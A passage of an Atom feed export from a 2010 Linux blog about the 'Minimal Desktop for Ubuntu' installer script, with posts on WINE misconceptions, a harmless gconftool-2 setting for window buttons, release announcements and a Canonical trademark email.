term='offtopic'/><title type='text'>Some common misconceptions about WINE</title><content type='html'>&lt;a href="http://www.winehq.org/"&gt;WINE&lt;/a&gt; is one of the most helpful pieces of software in the FOSS world. It helps Windows users transition to GNU/Linux more easily -- simply by making Windows software available on Linux. However, there are some unfortunate falsehoods regarding WINE and its use, that I aim to settle here.&lt;ol&gt;&lt;li&gt;&lt;b&gt;WINE is Windows.&lt;/b&gt;&lt;br /&gt;I hear this one a lot. "WINE is just virtualized Windows." This is completely, utterly false. WINE is Windows in the same way that OpenOffice is Microsoft Office -- They aim to provide similar functionality, but are certainly not the same product. WINE does not require a Windows license to use, nor does it truly virtualize anything.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;WINE is based on leaked Windows code.&lt;/b&gt;&lt;br /&gt;This may have been true at one time, but since then WINE has been completely clean-room rewritten. The developers periodically perform source code audits, and to the best of anyone's knowledge there is no Microsoft code in WINE.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;WINE is not an emulator.&lt;/b&gt;&lt;br /&gt;WINE is a recursive acronym meaning "WINE is not an emulator", which is something newcomers to the FOSS scene are quick to point out. However, WINE is, in fact, an emulator. The term "emulate" means "to imitate (a particular computer system) by using a software system, often including a microprogram or another computer that enables it to do the same work, run the same programs, etc., as the first." (&lt;a href="http://dictionary.reference.com/browse/emulator"&gt;Source&lt;/a&gt;.) In this regard, WINE is most certainly an emulator -- it emulates the software environment that Windows NT provides.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Programs run in WINE perform more poorly than native Linux apps.&lt;/b&gt;&lt;br /&gt;The very nature of WINE (that is, being a software compatibility layer) means that any performance hit is not due to WINE itself. Most (if not all) software performance problems stem from two things: inferior graphics drivers for Linux (something we nVidia users have begrudgingly gotten used to) or nonstandard libraries. Or both, in the case of any QuickTime-based application. Many apps run under WINE actually perform better on Linux than they did under Windows, something which is surprising to the people who subscribe to #1.&lt;/li&gt;&lt;/ol&gt;After writing this article, I found a very well-written page &lt;a href="http://www.winehq.org/myths"&gt;on the WINE website&lt;/a&gt; that describes more.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-568269688416481852?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/568269688416481852/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/10/some-common-misconceptions-about-wine.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/568269688416481852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/568269688416481852'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/10/some-common-misconceptions-about-wine.html' title='Some common misconceptions about WINE'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-6908458987724244502</id><published>2010-10-13T09:34:00.000-07:00</published><updated>2012-01-22T04:13:18.114-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='bugs'/><title type='text'>Moving the minimize, maximize, close buttons</title><content type='html'>Metacity, Ubuntu's window manager, comes with the buttons to close, minimize and maximize the window over on the left, &lt;a href="http://4.bp.blogspot.com/_jpZf7xeuuFI/TLXiRZADSdI/AAAAAAAAAIQ/bkKUQzrD-Bg/s1600/osx.png"&gt;OSX-style&lt;/a&gt; by default (since Ubuntu version 10.04). Many users convert from Windows to Ubuntu, and prefer the buttons over on the right, &lt;a href="http://4.bp.blogspot.com/_jpZf7xeuuFI/TLXiYV8XnxI/AAAAAAAAAIY/WVS_Qia2Zss/s1600/win7.jpg"&gt;Windows-style&lt;/a&gt;. Changing the location of the buttons is actually very simple. To move them back to the right, simply open Terminal and enter:&lt;blockquote style="font-family:monospace"&gt;gconftool-2 --set /apps/metacity/general/button_layout --type string menu:minimize,maximize,close&lt;/blockquote&gt;To move them over to the left, enter:&lt;blockquote style="font-family:monospace"&gt;gconftool-2 --set /apps/metacity/general/button_layout --type string close,minimize,maximize&lt;/blockquote&gt;The 10.04.1 version of the script contained this code, but since the script is run as root the command does not execute properly and did nothing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-6908458987724244502?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/6908458987724244502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/10/moving-minimize-maximize-close-buttons.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6908458987724244502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6908458987724244502'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/10/moving-minimize-maximize-close-buttons.html' title='Moving the minimize, maximize, close buttons'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-7691885679289733863</id><published>2010-10-10T10:04:00.000-07:00</published><updated>2012-01-22T04:13:18.207-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='update'/><title type='text'>MDU 10.10 "Attobuntu" released!</title><content type='html'>The Attobuntu final release can be downloaded from my &lt;a href="http://minimal-desktop.sublevel21.tk/pva/"&gt;Personal Version Archive&lt;/a&gt;, the &lt;a href="https://github.com/AntonioPT/minimal-desktop-for-ubuntu"&gt;Github&lt;/a&gt;, or the &lt;a href="https://edge.launchpad.net/minimal-desktop-for-ubuntu/+download"&gt;Launchpad&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The only change from the RC is a fix to the KDE install. Happy Ubuntu release day!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-7691885679289733863?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/7691885679289733863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/10/mdu-1010-released.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7691885679289733863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7691885679289733863'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/10/mdu-1010-released.html' title='MDU 10.10 &amp;quot;Attobuntu&amp;quot; released!'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-7099588120388061957</id><published>2010-10-06T09:36:00.000-07:00</published><updated>2012-01-22T04:13:18.303-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='update'/><title type='text'>Attobuntu RC now available</title><content type='html'>The Attobuntu release candidate can be downloaded from my &lt;a href="http://minimal-desktop.sublevel21.tk/pva/"&gt;Personal Version Archive&lt;/a&gt;, the &lt;a href="https://github.com/AntonioPT/minimal-desktop-for-ubuntu"&gt;Github&lt;/a&gt;, or the &lt;a href="https://edge.launchpad.net/minimal-desktop-for-ubuntu/+download"&gt;Launchpad&lt;/a&gt;. Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-7099588120388061957?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/7099588120388061957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/10/attobuntu-rc-now-available.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7099588120388061957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7099588120388061957'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/10/attobuntu-rc-now-available.html' title='Attobuntu RC now available'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-820162280941512067</id><published>2010-10-04T14:58:00.000-07:00</published><updated>2012-01-22T04:13:18.402-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Minimal Desktop 10.10 "Attobuntu"</title><content type='html'>The next version of MDU, slated for release in less than six days (that's right, I'm working at a Day 0 release), is nearing completion. I've committed the latest test version to the &lt;a href="https://github.com/AntonioPT/minimal-desktop-for-ubuntu"&gt;Github&lt;/a&gt;, and you can also get it from the &lt;a href="http://minimal-desktop.sublevel21.tk/pva/"&gt;PVA&lt;/a&gt;. An announcement will be made on Launchpad, Freshmeat and here when the version goes gold. The generator's update will happen sometime in the next two weeks (there's only one or two things that have changed since the generator was completed).&lt;br /&gt;&lt;br /&gt;What has changed:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Added a script to be added into rc.local that will properly update the Opera repositories (especially if the computer is on a wireless network)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Removed some packages that don't exist in maverick&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Added Fluxbox support&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;All in all, no major changes so far. Aptitude was &lt;a href="http://www.webupd8.org/2010/06/aptitude-removed-from-ubuntu-1010.html"&gt;rumored&lt;/a&gt; to be removed from the final version of Maverick, but it's still in the daily ISO, so it seems to be fine.&lt;br /&gt;&lt;br /&gt;Stay tuned!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-820162280941512067?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/820162280941512067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/10/minimal-desktop-1010.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/820162280941512067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/820162280941512067'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/10/minimal-desktop-1010.html' title='Minimal Desktop 10.10 &amp;quot;Attobuntu&amp;quot;'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1797847726553798401</id><published>2010-09-26T23:14:00.000-07:00</published><updated>2012-01-22T04:13:18.509-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='update'/><title type='text'>MDU-SG</title><content type='html'>I am happy to announce that version 1.0 of the Minimal Desktop for Ubuntu Script Generator (see title) is now officially online. It is marked for MDU version 10.10, which is currently in beta, but it also works well for 10.04.2. The generator is an implementation of an idea &lt;a href="http://minimal-desktop.blogspot.com/2010/06/looking-for-php-programmers.html"&gt;that Stacy R. had back in June&lt;/a&gt;, and it is hopefully an easy way to get an MDU installation off the ground more quickly.&lt;br /&gt;&lt;br /&gt;The frontend was coded by me, and the backend was coded by Terrance. More information can be found on the About section on the generator.&lt;br /&gt;&lt;br /&gt;For now, enjoy! Please post any bugs you find through the comment system on this post, or use the Feedback form on the generator.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://minimal-desktop.sublevel21.tk/generator/"&gt;Minimal Desktop for Ubuntu Script Generator&lt;/a&gt; &amp;laquo; Link&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1797847726553798401?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1797847726553798401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/09/mdu-sg.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1797847726553798401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1797847726553798401'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/09/mdu-sg.html' title='MDU-SG'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-2094139706212790053</id><published>2010-09-16T12:18:00.000-07:00</published><updated>2012-01-22T04:13:18.621-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='blueprint'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Addition to the team</title><content type='html'>Remember back in June when I asked for PHP programmers? Well, a friend of mine named Terrance has stepped up to the plate and made an alpha version of the online script customizer. There are still a number of bugs to be worked out, but it's a great first step!&lt;br /&gt;&lt;br /&gt;We welcome Terrance to the team and I'm very glad he offered to join us.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update:&lt;/b&gt; The online script customizer can be found &lt;a href="http://canausa.net/test/"&gt;here&lt;/a&gt;. It's still in beta, but it works pretty well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-2094139706212790053?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/2094139706212790053/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/09/addition-to-team.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2094139706212790053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2094139706212790053'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/09/addition-to-team.html' title='Addition to the team'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-4578415621520180762</id><published>2010-09-10T18:41:00.000-07:00</published><updated>2012-01-22T04:13:18.725-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Permission granted!</title><content type='html'>Not too long ago, I contacted Canonical customer support for permission to use the Ubuntu name and logo in relation to this project. In response, I received the following email.&lt;br /&gt;&lt;blockquote&gt;Dear Anthony,&lt;br /&gt;&lt;br /&gt;Thank you for contacting us and your interest in and support of Ubuntu.&lt;br /&gt;&lt;br /&gt;Canonical is the official sponsor of the UBUNTU project and owns the trade marks, both in the word and logo form, relating to the project.  &lt;br /&gt;&lt;br /&gt;To keep the balance between the integrity of our trade marks and the ability to customise UBUNTU, we've tried to define a reasonable trade mark policy that allows our Community to use UBUNTU and to promote the project.  In case you haven’t seen it, that policy is at http://www.ubuntu.com/aboutus/trademarkpolicy.&lt;br /&gt;&lt;br /&gt;We do encourage people to make custom versions of UBUNTU, and we have established a "remix" concept to allow for this.  Remixes are derived versions of UBUNTU. Where the changes from the official UBUNTU product are minimal the UBUNTU trade marks may be used, but only to identify that the system is based on or built on UBUNTU.   &lt;br /&gt;&lt;br /&gt;Once again, thank you for your support of the UBUNTU project.  &lt;br /&gt;&lt;br /&gt;Kind regards,&lt;br /&gt;&lt;br /&gt;Michelle,&lt;br /&gt;Trade Marks Team&lt;br /&gt;&lt;br /&gt;Michelle Surtees-Myers&lt;br /&gt;Ubuntu - Linux for Human Beings&lt;/blockquote&gt;&lt;p&gt;What does this mean? It means we can use the Ubuntu logo and name, as long as we don't claim to be officially sanctioned or affiliated with the Ubuntu project (which we don't). Huzzah!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-4578415621520180762?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/4578415621520180762/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/09/permission-granted.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4578415621520180762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4578415621520180762'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/09/permission-granted.html' title='Permission granted!'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-4639699435418212283</id><published>2010-08-31T09:03:00.000-07:00</published><updated>2012-01-22T04:13:18.823-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Project's renaming</title><content type='html'>In order to be more compliant with the Ubuntu trademark restrictions, I have renamed the project "Minimal Desktop for Ubuntu" (thanks &lt;a href="https://wiki.ubuntu.com/duanedesign"&gt;duanedesign&lt;/a&gt; for the name).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-4639699435418212283?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/4639699435418212283/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/08/project-renaming.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4639699435418212283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4639699435418212283'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/08/project-renaming.html' title='Project&amp;#39;s renaming'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-8966633694087005796</id><published>2010-06-11T21:27:00.000-07:00</published><updated>2012-01-22T04:13:18.920-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='update'/><category scheme='http://www.blogger.com/atom/ns#' term='kde'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome'/><title type='text'>Announcing Zeptobuntu 10.04 Update 2!</title><content type='html'>This is probably the biggest "update" (I hesitate to call it that) that I've done on the script yet, besides adding KDE support. Speaking of which, the 10.04.2 script integrates the choice between GNOME and KDE. Additionally, the script now has a "default setup", which is what is built if the user just hits Enter a bunch of times. As a part of creating the default install, I had to rework the syntax of the script (unfortunately have to perform all string operations on the numerical choices... I feel dirty).&lt;br /&gt;&lt;br /&gt;Probably the hardest thing was changing the way libdvdcss2 (DVD playback support) is installed. It used to invoke a script that was installed with the libdvdread4 package, which is the standard method. However, this caused complicated output, and I wanted a simpler way. So, after detecting which architecture your computer has (32-bit or 64-bit), it simply downloads the appropriate package file from Medibuntu and installs it.&lt;br /&gt;&lt;br /&gt;Oh, and I removed that broken option to move the minimize-maximize-close buttons over to the right. Didn't work at all. :P&lt;br /&gt;&lt;br /&gt;Check it out here: &lt;a href="https://launchpad.net/ubuntu-desktop-minimal/+milestone/10.04.2"&gt;https://launchpad.net/ubuntu-desktop-minimal/+milestone/10.04.2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-8966633694087005796?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/8966633694087005796/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/06/announcing-zeptobuntu-1004-update-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8966633694087005796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8966633694087005796'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/06/announcing-zeptobuntu-1004-update-2.html' title='Announcing Zeptobuntu 10.04 Update 2!'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-8552884832251172210</id><published>2010-06-11T11:02:00.000-07:00</published><updated>2012-01-22T04:13:19.029-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='blueprint'/><title type='text'>Looking for PHP programmers</title><content type='html'>Stacy on Launchpad had &lt;a href="https://answers.launchpad.net/ubuntu-desktop-minimal/+question/114242"&gt;an excellent idea&lt;/a&gt;... create a Web-based interface to customize the installer &lt;i&gt;before&lt;/i&gt; the user installs Ubuntu. I think that's a great idea; unfortunately dynamic Web content is not my fort&amp;eacute;. If anyone's interested in creating a script customization system, please &lt;a href="https://launchpad.net/~aveilleux/+contactuser"&gt;contact me&lt;/a&gt;!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-8552884832251172210?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/8552884832251172210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/06/looking-for-php-programmers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8552884832251172210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8552884832251172210'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/06/looking-for-php-programmers.html' title='Looking for PHP programmers'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-2817528206543539197</id><published>2010-06-10T19:39:00.000-07:00</published><updated>2012-01-22T04:13:19.124-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Logo redesign</title><content type='html'>&lt;a href="http://minimal-desktop.sublevel21.com/logo/"&gt;&lt;img src="http://2.bp.blogspot.com/_jpZf7xeuuFI/TBGiiBEOBJI/AAAAAAAAAAo/B7adacG5Zoo/s320/UMD-logo-192.png" style="border:none;margin-left:180px" /&gt;&lt;/a&gt;&lt;br /&gt;The image is licensed under the &lt;a href="http://creativecommons.org/licenses/by-sa/3.0/"&gt;Creative Commons Attribution-Share Alike 3.0 License&lt;/a&gt;, meaning you're free to take it and use it anywhere with modification as long as you link back here or credit me in some way. The Ubuntu logo itself is trademark Canonical, and its use is subject to the terms of the &lt;a href="http://www.ubuntu.com/aboutus/trademarkpolicy"&gt;Ubuntu trademark policy&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://minimal-desktop.sublevel21.tk/logo/UMD_logo.png"&gt;UMD Logo (800x800)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://minimal-desktop.sublevel21.tk/logo/UMD-logo-192.png"&gt;UMD Logo (192x192)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://minimal-desktop.sublevel21.tk/logo/UMD-logo-64.png"&gt;UMD Logo (64x64)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://minimal-desktop.sublevel21.tk/logo/UMD_logo.psd"&gt;UMD Logo (PSD format)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-2817528206543539197?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/2817528206543539197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/06/logo-redesign.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2817528206543539197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2817528206543539197'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/06/logo-redesign.html' title='Logo redesign'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_jpZf7xeuuFI/TBGiiBEOBJI/AAAAAAAAAAo/B7adacG5Zoo/s72-c/UMD-logo-192.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-3610368564141271639</id><published>2010-06-10T12:52:00.000-07:00</published><updated>2012-01-22T04:13:19.219-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bugs'/><category scheme='http://www.blogger.com/atom/ns#' term='kde'/><title type='text'>Oh durn D:</title><content type='html'>Turns out that the KDE script had a little bug in it. When the script tried to install &lt;a href="http://packages.ubuntu.com/lucid/kdeutils"&gt;kdeutils&lt;/a&gt;, a package called &lt;a href="http://packages.ubuntu.com/lucid/kdelirc"&gt;kdelirc&lt;/a&gt; would be installed as a dependent. Unfortunately, aptitude installs "recommended" packages by default. One of these Recommended packages is &lt;a href="http://packages.ubuntu.com/lucid/lirc"&gt;lirc&lt;/a&gt;, which can't be installed non-interactively (as the script is). This causes the script to appear "locked up" because the input is being directed to the lirc install script.&lt;br /&gt;&lt;br /&gt;I've fixed it now, but dang. I should have caught that in testing. Weird how I didn't.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-3610368564141271639?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/3610368564141271639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/06/oh-durn-d.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3610368564141271639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3610368564141271639'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/06/oh-durn-d.html' title='Oh durn D:'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-3059206114313421133</id><published>2010-06-09T07:45:00.000-07:00</published><updated>2012-01-22T04:13:19.350-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='blueprint'/><category scheme='http://www.blogger.com/atom/ns#' term='kde'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome'/><title type='text'>Future Plans for DEs</title><content type='html'>As you may know, &lt;a href="https://launchpad.net/ubuntu-desktop-minimal/+milestone/10.04.1"&gt;UMD Update 1&lt;/a&gt; now includes a separate script for installing the K Desktop Environment (KDE). In the future, this choice will be integrated into the base script, allowing for simplicity and ease of use.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-3059206114313421133?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' 